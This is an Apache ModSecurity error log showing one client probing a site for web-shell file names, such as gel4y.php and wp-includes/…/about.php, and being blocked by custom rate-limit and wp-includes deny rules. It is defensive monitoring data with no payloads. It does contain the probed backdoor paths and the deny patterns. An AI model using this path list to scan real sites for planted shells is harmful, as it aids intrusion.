[Tue Mar 24 05:52:55.224530 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:21010] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pNRzcP6wtYy.php"] [unique_id "acG2N_wkUqN4GJAI5oV9mQAAAQo"]
[Tue Mar 24 05:52:56.922040 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:21055] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pNRzcP6wtYy.php"] [unique_id "acG2OPwkUqN4GJAI5oV9nQAAAQ8"]
[Tue Mar 24 05:52:58.678423 2026] [:error] [pid 3031:tid 3091] [client 172.213.136.15:36231] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/horeg.php"] [unique_id "acG2OqJBKytnG47nuibe_QAAAE8"]
[Tue Mar 24 05:53:01.112048 2026] [:error] [pid 3030:tid 3069] [client 172.213.136.15:25809] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/horeg.php"] [unique_id "acG2PQyOuILyynfcqfn4YwAAABQ"]
[Tue Mar 24 05:53:06.280312 2026] [:error] [pid 64198:tid 64202] [client 172.213.136.15:23179] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/horeg.php"] [unique_id "acG2QnVzJqf6OS_oSZ3SEAAAAUI"]
[Tue Mar 24 05:53:07.227445 2026] [:error] [pid 64198:tid 64224] [client 172.213.136.15:30575] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/horeg.php"] [unique_id "acG2Q3VzJqf6OS_oSZ3SFQAAAVg"]
[Tue Mar 24 05:53:09.610568 2026] [:error] [pid 64198:tid 64213] [client 172.213.136.15:30245] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/index.php"] [unique_id "acG2RXVzJqf6OS_oSZ3SHQAAAU0"]
[Tue Mar 24 05:53:11.687015 2026] [:error] [pid 3137:tid 3156] [client 172.213.136.15:24252] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/index.php"] [unique_id "acG2R5dZesutm6dfYM_nKgAAANE"]
[Tue Mar 24 05:53:14.581767 2026] [:error] [pid 3031:tid 3079] [client 172.213.136.15:35811] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/index.php"] [unique_id "acG2SqJBKytnG47nuibfMQAAAEM"]
[Tue Mar 24 05:53:17.239227 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:26702] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/index.php"] [unique_id "acG2TfwkUqN4GJAI5oV9tAAAAQg"]
[Tue Mar 24 05:53:18.589669 2026] [:error] [pid 3030:tid 3073] [client 172.213.136.15:33788] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0xs.php"] [unique_id "acG2TgyOuILyynfcqfn4aQAAABg"]
[Tue Mar 24 05:53:21.964277 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:30263] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0xs.php"] [unique_id "acG2UfwkUqN4GJAI5oV9vAAAARI"]
[Tue Mar 24 05:53:24.588345 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:24211] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0xs.php"] [unique_id "acG2VJdZesutm6dfYM_nNQAAAMc"]
[Tue Mar 24 05:53:27.603593 2026] [:error] [pid 3030:tid 3049] [client 172.213.136.15:32459] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0xs.php"] [unique_id "acG2VwyOuILyynfcqfn4bgAAAAA"]
[Tue Mar 24 05:53:29.127868 2026] [:error] [pid 3031:tid 3087] [client 172.213.136.15:33755] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lm18.php"] [unique_id "acG2WaJBKytnG47nuibfQAAAAEs"]
[Tue Mar 24 05:53:32.179492 2026] [:error] [pid 64198:tid 64210] [client 172.213.136.15:30066] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lm18.php"] [unique_id "acG2XHVzJqf6OS_oSZ3SUwAAAUo"]
[Tue Mar 24 05:53:33.835104 2026] [:error] [pid 64198:tid 64224] [client 172.213.136.15:26722] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lm18.php"] [unique_id "acG2XXVzJqf6OS_oSZ3SWwAAAVg"]
[Tue Mar 24 05:53:35.495499 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:39478] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lm18.php"] [unique_id "acG2Xya_-JXXD03-JNzKlwAAAIA"]
[Tue Mar 24 05:53:37.007892 2026] [:error] [pid 3030:tid 3052] [client 172.213.136.15:33248] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/accesson1.php"] [unique_id "acG2YQyOuILyynfcqfn4egAAAAM"]
[Tue Mar 24 05:53:49.859430 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:24192] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "acG2bZdZesutm6dfYM_nZwAAAME"]
[Tue Mar 24 05:53:55.441532 2026] [:error] [pid 64198:tid 64201] [client 172.213.136.15:35803] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gel4y.php"] [unique_id "acG2c3VzJqf6OS_oSZ3SgAAAAUE"]
[Tue Mar 24 05:53:56.203616 2026] [:error] [pid 3030:tid 3061] [client 172.213.136.15:39442] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gel4y.php"] [unique_id "acG2dAyOuILyynfcqfn4hQAAAAw"]
[Tue Mar 24 05:53:57.881583 2026] [:error] [pid 3030:tid 3056] [client 172.213.136.15:27261] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gel4y.php"] [unique_id "acG2dQyOuILyynfcqfn4iwAAAAc"]
[Tue Mar 24 05:53:59.080099 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:31458] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gel4y.php"] [unique_id "acG2d_wkUqN4GJAI5oV98gAAAQg"]
[Tue Mar 24 05:53:59.996640 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:22580] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/heh.php"] [unique_id "acG2d5dZesutm6dfYM_ndAAAAMA"]
[Tue Mar 24 05:54:02.585116 2026] [:error] [pid 3137:tid 3147] [client 172.213.136.15:35812] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/heh.php"] [unique_id "acG2epdZesutm6dfYM_neQAAAMg"]
[Tue Mar 24 05:54:03.738769 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:34235] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/heh.php"] [unique_id "acG2e_wkUqN4GJAI5oV9-wAAAQ4"]
[Tue Mar 24 05:54:04.569450 2026] [:error] [pid 64198:tid 64223] [client 172.213.136.15:34542] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/heh.php"] [unique_id "acG2fHVzJqf6OS_oSZ3SiAAAAVc"]
[Tue Mar 24 05:54:05.528930 2026] [:error] [pid 3032:tid 3121] [client 172.213.136.15:34542] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/about.php"] [unique_id "acG2fSa_-JXXD03-JNzKtAAAAJI"]
[Tue Mar 24 05:54:07.077320 2026] [:error] [pid 3031:tid 3100] [client 172.213.136.15:31441] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wlx.php"] [unique_id "acG2f6JBKytnG47nuibfZAAAAFg"]
[Tue Mar 24 05:54:08.753097 2026] [:error] [pid 3031:tid 3078] [client 172.213.136.15:34550] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wlx.php"] [unique_id "acG2gKJBKytnG47nuibfaQAAAEI"]
[Tue Mar 24 05:54:09.677320 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:23340] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wlx.php"] [unique_id "acG2gfwkUqN4GJAI5oV-DwAAAQ4"]
[Tue Mar 24 05:54:10.692849 2026] [:error] [pid 3031:tid 3092] [client 172.213.136.15:21349] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wlx.php"] [unique_id "acG2gqJBKytnG47nuibfawAAAFA"]
[Tue Mar 24 05:54:13.548993 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:22954] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/frg.php"] [unique_id "acG2hfwkUqN4GJAI5oV-GgAAAQY"]
[Tue Mar 24 05:54:15.268582 2026] [:error] [pid 3137:tid 3151] [client 172.213.136.15:31672] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/frg.php"] [unique_id "acG2h5dZesutm6dfYM_njgAAAMw"]
[Tue Mar 24 05:54:16.185899 2026] [:error] [pid 3030:tid 3059] [client 172.213.136.15:25295] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/frg.php"] [unique_id "acG2iAyOuILyynfcqfn4mAAAAAo"]
[Tue Mar 24 05:54:17.817861 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:31652] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/frg.php"] [unique_id "acG2iZdZesutm6dfYM_nkgAAAME"]
[Tue Mar 24 05:54:19.548942 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:25332] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aku.php"] [unique_id "acG2i5dZesutm6dfYM_nlwAAANY"]
[Tue Mar 24 05:54:21.454218 2026] [:error] [pid 64198:tid 64206] [client 172.213.136.15:24223] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aku.php"] [unique_id "acG2jXVzJqf6OS_oSZ3SlgAAAUY"]
[Tue Mar 24 05:54:22.568743 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:22558] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aku.php"] [unique_id "acG2jvwkUqN4GJAI5oV-KgAAAQg"]
[Tue Mar 24 05:54:23.803580 2026] [:error] [pid 3137:tid 3145] [client 172.213.136.15:26735] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aku.php"] [unique_id "acG2j5dZesutm6dfYM_nnAAAAMY"]
[Tue Mar 24 05:54:25.410430 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:26717] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ctex1.php"] [unique_id "acG2kZdZesutm6dfYM_nnQAAAME"]
[Tue Mar 24 05:54:26.881826 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:35828] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ctex1.php"] [unique_id "acG2kvwkUqN4GJAI5oV-PQAAAQY"]
[Tue Mar 24 05:54:29.001698 2026] [:error] [pid 3031:tid 3093] [client 172.213.136.15:26736] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ctex1.php"] [unique_id "acG2laJBKytnG47nuibfewAAAFE"]
[Tue Mar 24 05:54:30.347363 2026] [:error] [pid 64198:tid 64217] [client 172.213.136.15:26749] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ctex1.php"] [unique_id "acG2lnVzJqf6OS_oSZ3SrwAAAVE"]
[Tue Mar 24 05:54:31.344192 2026] [:error] [pid 64198:tid 64212] [client 172.213.136.15:33476] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-front.php"] [unique_id "acG2l3VzJqf6OS_oSZ3SsQAAAUw"]
[Tue Mar 24 05:54:32.790873 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:33486] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-front.php"] [unique_id "acG2mJdZesutm6dfYM_noAAAAMo"]
[Tue Mar 24 05:54:33.503748 2026] [:error] [pid 3031:tid 3078] [client 172.213.136.15:26693] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-front.php"] [unique_id "acG2maJBKytnG47nuibfgAAAAEI"]
[Tue Mar 24 05:54:35.516048 2026] [:error] [pid 3032:tid 3121] [client 172.213.136.15:25294] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog-front.php"] [unique_id "acG2mya_-JXXD03-JNzK1QAAAJI"]
[Tue Mar 24 05:54:36.287665 2026] [:error] [pid 3032:tid 3113] [client 172.213.136.15:32979] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "acG2nCa_-JXXD03-JNzK1gAAAIo"]
[Tue Mar 24 05:54:37.064120 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:35786] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "acG2nfwkUqN4GJAI5oV-RAAAAQg"]
[Tue Mar 24 05:54:39.219244 2026] [:error] [pid 64198:tid 64213] [client 172.213.136.15:32982] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "acG2n3VzJqf6OS_oSZ3SvgAAAU0"]
[Tue Mar 24 05:54:41.285209 2026] [:error] [pid 3030:tid 3068] [client 172.213.136.15:26710] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "acG2oQyOuILyynfcqfn4ogAAABM"]
[Tue Mar 24 05:54:42.732664 2026] [:error] [pid 3031:tid 3100] [client 172.213.136.15:24720] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws35.php"] [unique_id "acG2oqJBKytnG47nuibfhQAAAFg"]
[Tue Mar 24 05:54:44.535063 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:25778] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws35.php"] [unique_id "acG2pPwkUqN4GJAI5oV-TgAAAQw"]
[Tue Mar 24 05:54:45.623750 2026] [:error] [pid 64198:tid 64205] [client 172.213.136.15:6883] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws35.php"] [unique_id "acG2pXVzJqf6OS_oSZ3SzgAAAUU"]
